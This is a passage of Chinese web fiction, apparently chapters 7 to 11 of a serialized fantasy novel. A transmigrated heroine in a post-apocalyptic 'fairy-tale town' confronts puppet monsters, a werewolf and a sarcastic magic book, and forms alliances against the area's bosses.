“姜夜白看着前线父亲的死讯和母亲的尸体,明白这个时候只有得到军队的支持才能站稳脚跟,父亲曾经和他说过,有事可以找宋非羽上将求助。” “而宋非羽的军团此时驻扎在一千公里之外的云岚。” “于是姜夜白偷偷把这个计划告诉了他从小玩到大的好友,沈知。两个人约定今夜一起逃出帝都,去千里之外的云岚找宋非羽。” 姜夜白听到这里,眼睛里一瞬间涌过很多种情绪,手上抱着的箱子轰然落地,发出剧烈的声响。 羊皮纸中传来的声音依旧那么温柔,自顾自说下去:“可是那天晚上,姜夜白等了十分钟,好友还没有来,他等不及了,于是跑到沈知紧闭的房门前,用透视镜看他在做什么。” “看到房间里景象的一瞬间,姜夜白不可置信地瞪大了眼,愤恨,不甘,恼怒,绝望种种情绪交织在他心头,喉头涌上一阵腥甜,他猛地推开了门!” “他不敢相信,他的童年好友沈知,竟然在给他的舅舅写信,告发他今夜的出逃计划。” “沈知看到姜夜白推开门,回过身若无其事地朝他笑了笑,手顺便推过墨水瓶,遮住那封告密信。” “姜夜白没有哪一刻像现在这样厌恶沈知那张温柔的笑面,他眼前一瞬间闪过他母亲的尸体,那些世家家主假惺惺的安慰,还有那封和父亲死讯同时抵达的密信,告诉他父亲的死另有蹊跷。” “姜夜白将这些线索一瞬间在脑海里串联起来,仿佛窥见了巨大阴谋的一角,这些天一腔的委屈害怕烧成滔天的怒火,他看着眼前的沈知,心里只有一个念头:不能让他告密!” “姜夜白从口袋里抽出一把匕首,揽过沈知,刀尖从他后心穿入,前胸穿出,径直穿透心脏。” “来自亲近之人的袭击让沈知睁大了双眼,他茫然无助地看着姜夜白,不明白自己为什么会被昔日好友痛下杀手。” “姜夜白以为,只要一个人的心脏不再跳动,这个人就必死无疑。可惜世界上有一种生物,只要圆月高悬,就能继续行动,他们被称为狼人。” “而沈知的天赋是[白狼王]。” 女人的声音轻柔得像在给孩子念睡前童话,随着她念完这句话,房间里的场景不知不觉变了。 窗外的月光不知何时已经照亮整个窗台,室内圆月高悬,角落里的姜夜白完全暴露在月光下。 小洋房有两层,此时,原本空无一人的一楼传来沉重的脚步声。 低沉的狼嚎声穿透天花板,传进姜夜白耳中。底下的怪物烦躁地用爪子来回在地上抓挠,摩擦出刺耳的声音。 “咚咚——咚咚——”沉闷的响声像是用布蒙着铁棒在木地板上来回捶打,脚步声在楼梯上回荡,越来越近——它上楼来了! 姜夜白缓缓站起身,死死盯着虚掩的房门,眼球布满狰狞的血丝。 他的瞳孔已经变成金色,头发不再黄不溜秋,而是恢复成黑色,身后仿佛有巨龙的虚影。 他可以杀死沈知一次,就可以杀死他第二次。 * 宋言看着前方五颜六色的灯光,和许多积木搭成的小洋楼,觉得自己是抽了风。 不然无法解释为什么她半夜放着好好的觉不睡,翻窗出了古堡,往山下的童话镇跑。 但是来都来了,她回身望了一眼远处山上的古堡,觉得也没有回去的必要。 童话镇最高的建筑是中心的大礼堂。礼堂旁边有一间二十四小时便利店,此时灯火通明,玻璃门拉开了一半。 宋言晚上没吃什么东西,觉得自己有些饿了。 正好不远处就有一家便利店。 虽然辐射区的食物肯定有风险,但是有核辐射的工业食品总比古堡不知道原料是什么的毒品要好。 而且宋言想起自己能把伯爵药倒的毒性,觉得自己和辐射区食品比起来,指不定谁更毒。 便利店的收银台上还放着几枚硬币和几瓶果汁,柜台后却空无一人。 硬币面值较小,看上去是找零。 顾客还没来得及将找的零钱揣入口袋,突发事件就使他再也无法喝下那几瓶果汁。 当时发生了什么? 宋言看向便利店门口,张贴着一张巨幅广告。 [魔术师巡演首站童话镇将在大礼堂举行,场票欲购从速!] [本店消费满500帝国币顾客,将有机会参与店庆抽奖!一等奖为价值2000帝国币的大礼堂魔术表演场票!!] 宋言随手在货架上抽了一条面包,边啃边凑近看门口的广告。 小字部分是在详细介绍魔术师拿了多少奖,仿佛路边的猪肉大甩卖,吆喝着“过了这村就没有这店了”;另一张则是在列出便利店的抽奖活动详情。 宋言觉得,魔术师在副本留下的痕迹指向一件事情。 要么,在童话镇沦为辐射区的那一刻,正好在这里巡演的魔术师发生畸变,并且逐渐发育成副本的boss。 所以她在古堡也能捡到蕴含精神污染的宣传单。 还有一种可能,就是魔术师本身就是畸变种,利用魔术巡演的方式入侵童话镇。 而入侵方式很可能是令人防不胜防的精神污染。 她边思考,无意识咬了一口面包,随即一口呸出来。 嘴里的面包味同嚼蜡,可以把“同”去掉,宋言觉得自己就是在嚼蜡,味道像极了甜品店里摆出来当样式参考的塑料蛋糕。 系统提示音响起。 【天赋[毒蘑菇]:累积毒性[16/100]】 ?吃一口面包就加五点毒性?这面包比红酒还毒? 她看向摆在收银台上的几瓶果汁,片刻后放弃了帮那位顾客尝一尝的想法。 谁知道喝起来是什么味道。说不定比红酒难喝,还比红酒毒。 当她将目光转回来的时候,一条长长的火龙突然出现在她视线里。 这条街道的尽头,童话镇的居民举着火炬,排成整齐的队列进入这条街,远处看去,就像一条燃烧的长龙。 辐射区群众晚上的娱乐活动这么丰富? 宋言放轻脚步,悄悄跟了上去。 她缀在人群的末端,和前面的人步调保持一致,想看看这群人最后会到哪里去。 这些举着火炬的人外表上和普通人类并无差异,和管家和伯爵那种从外表上就写着“我是怪物”的显眼包截然不同。 此时,他们虽然睁眼朝前走,眼睛里却并无神采,整个队伍保持着相同的步调,仿佛有人在无形中用傀儡丝牵引着他们动作。 难道童话镇里还有一个boss? 宋言想得出神,没留意前面的人突然停下来,一头撞到了对方背上。 “啊啊啊——对不起对不起!!我不是有意撞到你的!!!” 7. 童话镇5 《人在废土,刚炸副本》全本免费阅读 007 * 宋言鼻尖闻到一丝血腥味。 尖锐的刀刃仍然架在她颈部,一道喑哑的男声在耳边响起。 “别动,我不保证我的手够稳。” 男人的呼吸声沉而急促,即使刻意掩饰,宋言还是听出来了——他刚刚经历过一场激烈的战斗,并且很可能受了重伤,没把握在这里将她一击必杀,于是走了偷袭路线。 什么人会夜晚在童话镇打架? 宋言心头浮过好几个猜测。 她目光偏移,瞟向角落里的兰德,兰德没有生命体征,加上这个巷子黑得透不进一丝光,刚才在发觉自己被劫持的时候,他就贴着墙壁装起了尸体,倒是没有被这个男人注意到。 她不禁动念,如果自己吸引住男人的注意力,让兰德从背后偷袭...... 宋言略微偏头,向角落里的兰德对口型,瞬间,贴着颈部的匕首就刺入了皮肤,停留在离大动脉一毫米的位置。突如其来的发难让宋言颈部剧痛,忍不住剧烈咳嗽,但是顾及到紧挨着大动脉的匕首,硬生生忍了下去。 “我说过我的手不太稳。” 男人音量提高,像是被宋言的小动作勾起了兴趣,轻笑道:“如果你寄希望于你的老鼠同伴来救你的话,可以死心了。” “小老鼠,告诉我你家主人在哪?” 颈部的伤口流出粘腻的血液,顺着领口流进衣服里,本就失血过多的宋言现在感觉自己全身冰凉,脑子昏昏沉沉的,像是休克的前兆。 在此刻,她竟然还分出一丝心神去想,这个声音好像听过......在哪呢...... 她勉强将这些天见过的人在脑子里走马灯转了一遍,最后终于把一个人的脸和这个声音对上号。 她脖子后仰,尽量不牵扯到伤口,道:“真是贵人多忘事,在车上还喊我美人,现在全忘啦?果然......男人的嘴,骗人的鬼。” 宋言晕倒的前一秒,不禁想是不是今天黄历上写了忌夜行,忌斗殴,不然没道理她一晚上连着晕倒两次,还tm都是因为打架。 她体力不支,径直向前倒去,身后的男人被她那一句惊到,险些没收住开刃的匕首,差点让宋言的脑袋和身体直接分家。 因此,宋言也错过了男人眼里一闪而逝的黄金瞳。 * 宋言醒过来的时候,感觉到脖子上一阵清凉,原本的剧痛只剩一丝麻痒。 她睁开眼环顾四周,发现自己正躺在一张小床上,不远处坐着兰德和一个黑发青年。 她抬手摸了一把颈部,狰狞的伤口已经被包扎好,绷带尾端还打了一个漂亮的蝴蝶结。 她没来由手痒,拨了拨蝴蝶结的带子,那只蝴蝶翅膀一震一震,就像要飞起来。 见她醒了,兰德才比比划划向她解释当前的情况。 “就是,”他指着旁边的姜夜白,“这是个误会。” “他说他以为我们是畸变种的手下,在搜查这个巷子,于是就和你打起来了。” “我们看你晕过去了,不知道你伤势如何,就在这里先给你找了个地方休息。” 兰德的话很委婉,宋言心想,这哪是打起来,这位爷下手再重一点,她小命就要交代在那里了。 姜夜白接过了兰德的话,说道:“是我不对,我刚和一个畸变种打完,受了伤,在这边疗养,看到你们往这边走,便以为是那东西的手下。” “实在对不住,你脖子上的伤已经上了药,很快就会好。” 姜夜白向宋言伸出手,掌心躺着一个褐色药瓶。 “一点赔礼,里面的药能短时间内提升各项身体素质,但是不要多吃,会有副作用。” 他神情歉疚地看着宋言,额发搭在眉眼上,看起来纯良无害,五官晓畅如春水。 丝毫看不出一刻钟前,他差点要了宋言的命。 宋言却只盯着他那双亮如晨星的眼睛,突然问道:“你是不是和在车上的时候不一样了?” 姜夜白笑了笑,一只手挡在脸前,移开后又变成了之前鬼哭狼嚎的黄毛形象。 他顶着这张脸道:“我有个天赋,叫[千面],能变化成任何人的样子,出门在外,诸多不便,不是有意欺瞒。” 宋言看到那张脸在自己面前放大,不自觉移开眼:“你还是变回去吧,我不太适应你顶着别人的脸和我说话。” 姜夜白从善如流,宋言一眨眼的功夫,眼前的青年又恢复成了温和有礼的样子。 他问道:“我还没问,你们是怎么到这里来的?” 宋言摸摸鼻子,心虚道:“额,这个嘛,说来话长......” 宋言讲到自己使用天赋召唤出巨大的蘑菇群的部分时,姜夜白几乎维持不住面上的微笑,忍不住问道:“你是说,刚才外面那么大的动静都是你一个人搞出来的?” 宋言道:“不然呢,不过也不能说是我一个人吧......” 姜夜白一脸果然如此,追问:“那还有谁在那里?” 宋言答道:“当然是我的蘑菇啊,将那些人抛上天又甩下去的主要是蘑菇,我其实没干什么,就是召唤了一下它们......” 宋言觉得自己很无辜,架确实主要是蘑菇在打,就像狗咬死了小偷,人们也不会夸这是狗主人的功劳吧。 兰德发现总算有自己插得上话的地方了,举手道:“对,我作证,她的蘑菇真的很能打。” 感觉再多召唤几群就能把童话镇拆了的水平......他将这句话默默咽进肚子里。 姜夜白发觉自己有点看不懂这个小姑娘了,他长这么大,头一回听说有这么离谱的天赋。 召唤系天赋他也见过不少,但都是要去野外抓捕畸变种,九死一生地和对方签订契约,之后还得好吃好喝地供着对方,才能在畸变 8. 童话镇6 《人在废土,刚炸副本》全本免费阅读 008 * 宋言的目光如两道利刃,直直刺向兰德。 原本坐在角落里,安静地当一个美丽的摆设的青年,怔愣地接住宋言的视线。 室内的光线在他的玻璃眼睛上折射出一道五彩的光晕,他迟疑开口:“啊?要我做什么吗?” …… 算了,宋言马上否决了这个猜测。 域主要真能一直在她身边装小傻蛋,算他狠。 思索片刻,宋言转而问起另一件事情:“镇上每天晚上都会有这种游行吗?” 兰德想了想,才组织好语言:“嗯…也不是每天吧,其实他们晚上举着火炬到处跑是有原因的……” 在兰德吞吞吐吐的叙述里,宋言大致理清了事情的经过。 童话镇从前并不叫童话镇,后来是因为这里出现了一个有名的童话作家,才改了这个名字。 作家最有名的童话是《人偶师》。 但比起童话,它更像个惊悚故事。 故事要从很久以前说起,反正童话故事都是这么说,可能是因为作者也无法给他们的故事编一个确切的年代吧。 童话镇上搬来了一个人偶师,他开了一间人偶店,里面摆满精致漂亮的人偶。 可是人偶师总是觉得自己的人偶缺点什么,也许是缺一点灵气,泥土烧成的人偶呆笨木讷,比不上活人的灵动。 人偶师尝试过很多方法,他给人偶换上球形关节,用牵丝线操纵他们摆出各异的姿势。 但是麻雀没办法变成凤凰,就像人偶在人偶师的操纵下如何灵活,也不能真的活过来。 人偶师没有气馁,他逐渐发现,人一身的灵气汇聚于眼睛,那么,如果他的人偶眼睛有神,是不是就能得到人的灵性? 他在拍卖会上买下一颗蓝宝石,将它镶进人偶的眼眶里。 但是宝石只有一颗,人偶的另一个眼眶还空着。 人偶师想了想,将蓝色的眼珠从一个男人身上抠下来,装到自己的人偶身上。 这下,他的人偶就完美无缺了。 兰德喝了口水,接着说:“这个故事有点长,我记得后面好像是人偶师为了做出最满意的人偶,把镇子上所有人的眼珠子都镶到了自己的人偶身上。“ “嘶,还怪吓人的。” “后来不知道从哪天起,这个故事渗透到现实的童话镇,每天晚上都有眼珠子被抠掉的傀儡举着火炬在街上跑。如果你被抓到,他们就会问你有没有看到他们的眼珠。” 宋言的注意力却跑偏到兰德身上:“你不是人偶吗?为什么可以喝水?” 不会坏掉吗?? 兰德摇摇头:“我也不知道,但是我觉得我说了这么多话,应该口渴了,口渴就要喝水。” 他继续说:“不过,傀儡都能游街了,我一个人偶喝口水,也不至于倒反天罡吧。” 姜夜白不知何时睁开了眼,问道:“如果被游街的人抓到,会怎么样?” 兰德摊手道:“还能怎么样,可能眼睛会被抠掉,变成和他们一样的瞎子吧。不过你问这个干什么?” 姜夜白道:“因为......他们已经过来了。” ?! 下一秒,仿佛是在应和姜夜白的话,屋子外面亮起冲天的火光,热气扑面而来,沸反盈天,一片混乱。 是灯!他们没有特意熄灭这个屋子里的灯,一眼望去一片黑暗中只有这么一簇光,不被发现就见鬼了! 宋言因为失血过多,醒来后一直昏昏沉沉的,一时间也没有注意这一茬,现在想起来分外懊悔。 三人匆忙逃出着火的民房,跟着人偶在错综复杂的小巷子里七弯八拐,最后拐到了一栋小洋房前。 小洋房的门虚掩着,里面没有点灯,一片黑暗。 人偶一路狂奔,此刻终于放下心来,后背靠着门板瘫倒在地上,气喘吁吁。 他正打算开口和两人解释,却被门后伸出的一只细白的手捂住口鼻。 女孩冷淡的声音在门后响起:“兰德,我姐要是被你吵醒了,我就把你的眼珠子抠下来。” 兰德被女孩一只手挟制住,喘不上气,憋得直咳嗽,却又顾忌着女孩刚刚放的狠话,只好将到嘴边的咳嗽生生憋回去,脸涨得通红。 片刻后,附近的一间屋子里。 名为南希的女孩头也不抬地擦拭着手里的瓦罐。 兰德磕磕绊绊地讲完了事情的始末,简要介绍了宋言和姜夜白。 南希终于抬眼道:“朋友?他们是你的朋友,不是我的,这不能成为你把他们带到我这里来的理由。” 兰德请求道:“可是只有南希你这里最安全啊,他们都不敢到你这来的。” “而且,”他继续说,“他们救过我的命,我救过你姐姐的命,那不就等于是他们救过你姐姐的命吗?” 他点头道:“滴水之恩,当涌泉相报。” 南希:......还能这么算的? 她不太想理会兰德逻辑感人的换算,抬脚走向屋子另一端的置物架,拿起螺丝刀,开始修八音盒。 南希穿着睡衣,袖摆宽大,动作之间不小心撞倒八音盒旁的一本书,书籍感应到主人到来,自动从架子上飞下来,浮在空中, 轻柔的女声响起。 “今天我们要讲的这个故事,名字叫《伯爵的新娘》。” “故事的主人公叫艾德安,独自住在童话镇后山上的一座古堡里。” 姜夜白听到女人的声音,条件反射地想起身合上那本童话书。 他额间青筋突突地跳,耳中的声音与当初在房间里听到的声音慢慢重合。 宋言眼疾手快地拦住他,将他摁回凳子上。 她和姜夜白瞬间交换了一个眼神:先看看再说。 女人似乎注意到书外的波动,低笑一声:“看来有的小朋友不喜欢这个故事呢,没办法,现在我手头只有这本了,将就着听吧。” “艾德安伯爵在五百岁生日那天,看着满桌子美味的食物,没有一点进食的愿望,看起来无比忧愁。于是有人问他:‘伯爵先生,你为什么叹气呢?’” “艾德安回答:‘城堡太大了,我想要一位美丽善良的妻子。’” “可是上哪给伯爵先生找一位可心的妻子呢,人们犯了难。这时,一位聪明的魔术师擦了擦嘴角的油渍,给伯爵出了个主意。” 宋言听到这里,眉尖微蹙。 这魔术师还是个流动npc?到处赶场子? “魔术师说,伯爵可以向附近的王国广发征婚帖,让这些王国将他们那里最美丽的姑娘送过来,由伯爵挑选。” “伯爵听从了魔术师的建议。” “第一个来到古堡的是一个头发如乌木般黑,脸庞如雪一般白的女孩,女孩提着一篮苹果,在古堡的一间客房里住下来。” “第二个来到城堡的是人鱼公主,她那闪耀着美丽光泽的鱼尾迷住了艾德安伯爵,很快,她住进了第二间客房 9. 童话镇7(修) 《人在废土,刚炸副本》全本免费阅读 009 * 宋言心头一凛,一时如坠冰窟。 她忍着心头的寒意翻页。 上一页还只是被黑色水性笔疯狂的墨迹遮盖,仔细辨认还是能读出原本的内容。 但这一页,仿佛有人打翻了墨水瓶,在纸页上留下大片大片的污渍。 兰德凑过来:“啊,故事还没讲到这里呢。” 宋言问道:“这后面看不了?” 兰德点了点头,又摇了摇头,道:“也不是......可以修的。” 他将童话书从宋言手里接过来,走到桌角处停下。 下一刻,他捏着书的一角,将书脊对着桌角狠狠砸了三下,每砸一下,书页上的墨迹就会淡一分。 可是砸到后面,书脊都要被砸开线了,书页上的墨迹也没有再褪色。 宋言:“......它还挺有骨气。” 兰德想了想,在架子上一堆杂物里翻翻找找,最后翻出一个点火闸,火焰凑近童话书,高温使纸张边缘几乎要蜷起来。 童话书依旧在装死。 宋言看完兰德的一连串动作,终于说道:“这就是你的说的‘可以修’?” 她有点震撼:“你们童话镇修东西的方式都这么硬核的?” 兰德无辜道:“以前我碰到的那些东西,基本上吓唬一下就听话了。这一本......可能特别难搞?” 宋言若有所思:“这样的话......我倒是有个主意。” 片刻后,卫生间里。 宋言将钓鱼杆的一头系在童话书上,悬挂在马桶上方,按下了冲洗键。湍急的水流在童话书下方旋转,有几滴甚至要溅到童话书脸上。 恶魔般的低语在它耳边响起:“下去,还是不下去,这是个问题。” 童话书抖了抖,里面传来一个愤怒的孩童声音:“你个傻*......” 下一刻,钓鱼杆突然猛地往下沉,马桶水与书皮贴面而过,才被险险捞起。 宋言将钓鱼杆的线再往回绕了几圈,才将童话书吊回原来的高度。 她轻笑道:“我手不太稳,希望接下来能我提要求你照办,不然我再不小心再抖一下,就不确定明天是不是该去化粪池里捞你了。” “......”童话书没声了,老老实实在半空中装鹌鹑。 宋言对这次沟通很满意:“那么,合作愉快。” 宋言觉得攻心为上,这本书既然打不怕烧不怕,必定是个犟骨头,对付这种东西,就得让它知道,不听话的后果比丢面子更难堪。 比如这本童话书,它被打被砸还觉得自己是“粉身碎骨浑不怕”,但是一想到会被丢进下水道,顿时就觉得自己的清白受到了玷污。 “第一个问题,”宋言清清嗓子,“[伯爵的新娘]这个故事,是谁修改的结尾?” 那声音沉默了半晌。 “修改故事的权限,当然只有作者有啊。” 宋言问道:“那作者是谁?” 声音沉默得更久了,半天才艰涩道:“这个我不能说,真不是不告诉你,我身上有限制。” “那说明作者比你强很多啰,童话都是作者写的,那你是作者的孩子?”宋言推测道。 宋言推测既然童话镇的异变是因为童话以扭曲的方式成为现实,而童话是人编的,那个编童话的人,无疑最有可能是幕后黑手。 或许,这个作者就是域主,通过童话统治整个辐射区。 不知道绑架这本童话书,它爹会不会来捞。 听到这个推测,那声音顿时奓了毛。 “那个老登怎么可能是我爹!!在你面前的是一本魔法书懂吗!魔法!!” “要不是我被他阴了一把,那个傻叉能把我封印在这个破本子里?” “哼哼哼,无知的愚民啊,封印解开之时,尔等将无法承受我的怒火!!” 童话书,不对,是魔法书逐渐沉浸在自己的幻想中,丝毫没有注意到宋言怪异的神色。 ?什么中二病?? 宋言无语腹诽,开始问第二个问题。 “刚才你念童话的时候,为什么没有将我拖入幻境?” 她补充道:“我的同伴之前遭遇了你的同类的精神攻击。” 宋言觉得奇怪,[伯爵的新娘]这个童话明显是在影射自己的遭遇,但是童话都被她读完了,她还是没有出现一点姜夜白口中的幻觉。 魔法书挣脱了束缚着自己的渔线,在空中得意地自动翻页。 “因为我看不到你的过去。幻境构筑的原理是从你人生的关键节点,抽出让你情绪波动大的事件,让你最恐惧的事情发生。” “但你的过去——是一片空白。” 宋言是穿越者,在这个世界才呆了五天,魔法书看不到她的过去也是情理之中。 宋言略过这个问题,开始问最后一个,也是她最想知道的问题。 “第三个问题,我想看[伯爵的新娘]后面那个故事,被污渍遮掉的那一篇。” 魔法书哗哗翻动的书页在空中静止,仿佛宋言触碰到了什么禁忌。 它艰难道:“这个......我也不能说的。” 片刻后,它似乎觉得自己三个问题只能答出一个太丢人,迟疑道:“那个故事被修改后的版本你暂时不能看,但是我可以告诉你故事的原版本。” 这个故事的名字是《龙神》。 龙神和来自异世界的女孩签订契约,一同寻找流落的珍宝。 他们走过千山万水,终于在童话镇找到宝物的踪迹。 可是童话镇上所有居民都对宝物顾左右而言他,女孩和龙神从人们嘴里问不出什么,决定自己探查童话镇的秘密。 他们在夜晚悄悄潜入童话镇,惊讶地发现,白天平平无奇的童话镇居民,竟然会在半夜变身傀儡,把 10. 童话镇8(修) 《人在废土,刚炸副本》全本免费阅读 010 * 魔法书在空中书写的字迹慢慢变淡,消散在空气中。 宋言拍拍魔法书,问道:“既然《伯爵的新娘》修改后的版本我可以看,《龙神》这个故事为什么不行?” 魔法书从宋言的咸猪手下逃开,不忿道:“你怎么随地大小摸啊?没礼貌!” 即使愤怒,它仍然解释道:“《伯爵的新娘》已经修改完,对应的命运也已经完成修正,已然发生。但是《龙神》这个故事,它对应的命运还没有发生,如果你提前预知自己的未来,那个未来还会如实上演吗?” “任何命运都是由无数因果线纠缠而成的,你在过去拨动一点,就会在未来掀起惊涛骇浪。” 宋言没理魔法书的忿忿不平,她暗自思索,如果只要拨动一点,命运就会发生巨大偏移。那个有权限修改自己命运的人,又该有多大的能量? 不过这个问题可以先搁置,她现在首要面对的难题,是夜晚在童话镇到处晃荡的傀儡军团。 按照宋言的推测,这个副本的关键应该在里世界,无论是畸变种,域主,畸变核还是锚,应该都在里世界。 但是现在却有畸变种出现在表世界。 结合姜夜白给出的信息,这至少说明两点。 第一,里世界不再稳固,和表世界的界限不再清晰,才会把畸变种放到表世界。 第二,里世界的域主,恐怕尚未形成。不然没道理像傀儡这么大体量的佳肴,域主能眼看着它从眼前溜走。 简直就像黄鼠狼放过了从眼前跑过的鸡腿。 那么就只有一种可能,傀儡,或者说操控它们的傀儡师,从里世界自己逃了出来。 而出逃原因,宋言觉得,除了里世界有连傀儡师都对付不了的Boss之外,她想不出其他原因。 从这一点上看,傀儡师未必是她的敌人。 宋言眼珠转了转,一个计划的雏形在脑中产生。 只是......还缺一个趁手的道具。 她看着悬浮在空中的魔法书,突然福至心灵。 她之前就想过,系统面板的背包一栏,简直是居家旅行,杀人越货最佳伴侣。 现在嘛,机会来了。 魔法书觉得自己遭受了一场惨无人道的侵略。 宋言边把它塞进系统背包,它边发出尖锐暴鸣。 “——你快放开我!泼妇!!我都回答你的问题了你还要怎样啊!!” “塞不进去!怎么想都塞不进去吧!!啊啊啊啊——” 宋言没理它,将它整个按进面前银蓝色的屏幕。 背包并没有对魔法书显示“F”拾取键,但是宋言手动完成了这一步骤。 魔法书厚重的身躯逐渐隐没进背包,背包一栏,收纳镰刀螳螂旁的一个格子里多了一本硬壳精装的大部头,封面上印刷着飘逸的花体英文。 系统对它的备注是[《异能图鉴》,可以收录异能为你所用。由于撞到过脑子,有一种脑干缺失的美,坚定地认为自己是某位伟大巫师的遗物,建议保守治疗。] 《异能图鉴》? 宋言脑子转了转,扒拉放大备注底下的小字部分。 【目前收录异能:0】 【是否绑定:是/否】 宋言轻轻点了“是”。 那行小字上浮现出一个光圈,转了几圈后文字更改为【已绑定宿主“宋言”】。 这就绑定了?不需要加个滴血认亲的步骤吗? 看着很抗拒,身体却很诚实嘛。 死傲娇。 宋言内心腹诽道。 突然,门外传来急促的敲门声。 一个焦急的声音在门外响起:“快点出来,那些人找过来了!” 兰德站在门外,长长的眼睫毛急促扑闪两下,快速说道:“来不及了,那些人速度太快了。你先跟我来,我路上给你解释。” 而在宋言的视野里,兰德的脸侧浮现出一个白色方框。 方框里排列着几行文字。 【兰德】 -物种:陶瓷人偶(具备初步灵性) -天赋/特性:[家务全能](是的为了承认家务劳动的价值,我们决定把这个放进异能图鉴) -属性:??? -状态:正常 魔法书这么实用? 绑定之后一眼就能把人家底裤都扒个底朝天? 文字框下还有一行小字,是使用说明。 [如果对方对你使用天赋,可以将其收录到异能图鉴中,每日限收录1次] 见宋言呆在门口,兰德干脆直接将她拉走,从一条小道钻出去。 她望见不远处的小洋楼已经冒起冲天大火,那群举着火炬游行的人在到处搜查,刚刚他们待过的小屋已经被烧得焦黑。 兰德呼吸急促:“不知道今晚他们抽了什么疯,以前他们从不会来这一片的。总之现在这里也不安全了,我们得赶紧转移。” 宋言被兰德带到杂物间,姜夜白和南希已经在里面,南希扶着一个穿着睡衣,睡眼朦胧的女人。 屋子里,暖黄的烛焰发出“噼啪”声,借着火光,南希端着一碗深褐色的药汁,很小心地喂进女人嘴里。 她的手从宽大的袖摆里露出来,那双手是素净的陶瓷白,光滑细腻,球形关节微微转动,调整到合适拿勺子的位置。 女人咽下一口药汁,声音沙哑:“何必呢,南希。我一天也醒不了几个钟头,不如留在这里,省得拖你们后腿。” 南希抿唇不语,只是很轻柔地为她擦去嘴边的药渍。 半晌,她道:“保护你是我的职责。” 11. 童话镇9(修) 《人在废土,刚炸副本》全本免费阅读 011 * 宋言满意地看着《异能图鉴》上新增的内容,说:“谢谢南希,这个机械臂,就借我用用?” 没等众人反应,她率先走了出去。 门外沸反盈天,如一滴凉水落入滚烫的油锅,惊起人声一片。 宋言奔向不远处的一片火海,掀起的热浪一阵阵向她袭来,几乎要燎着她的刘海。 她边跑边想,人还是要有想象力一点,既然傀儡师和里世界那个boss都在争域主的位置,而目前看来,谁也没有得手。 那她为什么不把矛盾扩大化,多拉几个畸变种下水。 比如,古堡里就有一个现成的。 把这些畸变种拉到一个擂台上,搞一场域主争霸。 而擂台,首先需要一个擂主。 她手上筹码不多,不能胁迫一个畸变种乖乖听她的话。但是上辈子也不是白长到二十八岁。 旧年月没有磨灭她一身的反骨,反而教会了她一些别的东西。 比如,在某些情况下的装腔作势,和以小博大。 正在烧房子的傀儡看到有一个年轻女孩不往外逃,反而自动送上门,都不由得惊异地望向她。 女孩眼神亮得惊人,发丝被迎面而来的风扬起,露出素净清丽的五官。 宋言一路奔跑,在着火的小洋楼前停下来,隔着火海与傀儡对峙。 过高的温度使她额角渗出汗珠,发丝凌乱。 傀儡如潮水般涌来,黑压压的头颅在火光下像一具具支离的骷髅,但看似脆弱的白骨,可以轻易把人的五脏六腑碾碎。 它们的速度很快,眨眼间就要来到宋言眼前。 下一秒,宋言的性命也将被这些傀儡收割。 宋言点开系统背包里的《异能图鉴》,翻到刚刚收录的那一页。 她心念一动,【机械亲和】的字样上泛起淡淡蓝光。 身旁的机械臂应声而动,在宋言心念操纵下直直横扫出去,将扑上来的傀儡荡出三米远。 以宋言为圆心,顿时清出了一片空地。 但一拥而上的傀儡军团是不畏疼痛的战士,即使同伴被摔得七荤八素,后面的傀儡依然悍不畏死,前仆后继地涌上来。 但她一个人站在那里,就能压住万钧山河。 那些傀儡逐渐围成一个圈,往内收紧,成百上千个傀儡如黑压压的蚂蚁大军,即使一人一口,也能将正中心的宋言吞噬殆尽。 宋言站在他们中间,镇定开口:“阁下藏头露尾,操控这些傀儡,不敢以真身见我,是真面目见不得人吗?” 她环视从四面八方围过来的傀儡,继续说。 “还是说,你已经因为那一位,杯弓蛇影了?” 这句话仿佛将一块钠整个丢进水池,刚落地,傀儡黑洞洞的眼眶就多了一股无形的杀意。 无机质的目光如果能杀人,此刻宋言应该被凌迟了上万遍。 她接着说:“阁下何必恼怒,在下一介过路旅人,对阁下无甚威胁。” 她顿了一下,意有所指道:“可是如果其他人知道了您过得这么好,保不齐晚上睡不好觉,要从里面追出来,后悔自己当初怎么没有斩草除根。” 宋言说完这句,目光坦荡地望向正前方的傀儡,毫无惧意。 静默良久。 人群中的一个傀儡上前一步,开口:“你想要什么?” 它的眼睛登时亮起红光,仿佛刚刚被激活:“你又以为自己知道些什么?” 宋言看着对方,柔声道:“阁下不必以为我是来勒索威胁您的,相反,我们甚至有一个共同的敌人,何不坐下谈谈,共商大事。” 她目光在周围的傀儡身上扫了一圈,才直直看向刚刚发声的傀儡。 意思很明显,要坐下谈,对方就该有诚意。 发红光的傀儡左手在空中拨弄几下,四周的傀儡瞬间散开。 宋言上前几步,靠近傀儡,笑吟吟道:“阁下大气,和您共事是我的荣幸。” “您讨厌那一位,我也讨厌他,您说,一个副本怎么能有两尊大佛呢?” “但是,在享用满汉全席之前,我们不如先吃点开胃小菜。” 她目光转开,望向远处山顶上的古堡,道:“阁下的傀儡术出神入化,用在童话镇拆迁上未免可惜,不如我们大胆一点,先把山上那座古堡拆了。” “毕竟,它已经超过使用年限,早就是危房了。” * “所以你打算怎么拆?”姜夜白听完宋言的复述,问道。 宋言无语道:“拆什么拆,真当自己拆迁办啊。” 她说:“重点是我和童话镇的boss达成了合作,之后我们再引出古堡里那一个,坐山观虎斗。” 宋言思考道:“如果可以,我还想把魔术师,还有其他畸变种也找出来,大家同台竞技嘛,每个人都有当域主的机会。” 擂台她已经搭好了,至于选手,不妨多找几个。 宋言的剧本里,擂主是“傀儡师”,而选手,这里就有一个现成的。 她的目光落在南希身上。 之前兰德带宋言来找南希的时候,宋言就觉得南希肯定不简单。 能在辐射区里安生呆这么久,能有几个是吃素的。 《异能图鉴》收录南希的天赋那么好用,也让宋言觉得,南希是一个必须争取到的助力。 而现在,能否争取到南希的支持,对宋言现编的剧本格外重要。 南希扶着她姐姐在小榻上坐下,沉默地听完宋言的计划。 半晌,她开口:“我可以帮你们,但是你们要确保能杀死‘傀儡师’。” “而且,如果你们打开了辐射区,而我死了,你们要把我姐姐还有兰德带出去。” 南希其实不确定自己现在算什么。 她的记忆停留在自己死去的那一刻,然后就是畸变种如蝗虫般侵入童话镇。 她再次醒来,发现自己还活着,甚至身怀异能。 她猜测也许是因为她获得了天赋,成为异能者。 但是没有一种天赋能让人起死回生。 但不管她是在这场灾难中异化成畸变种,还是获得天赋成为异能者。 她和姐姐都还活着,对南希来说,这就够了。 很够了。 她愿意为这份平静做任何事。 她姐姐没有她那样的奇遇,但是也没有死去,而是一整天大半时间都在睡梦中度过。 她的身体在辐射区一天天衰弱下去。 南希无法接受姐姐再一次死在自己面前。 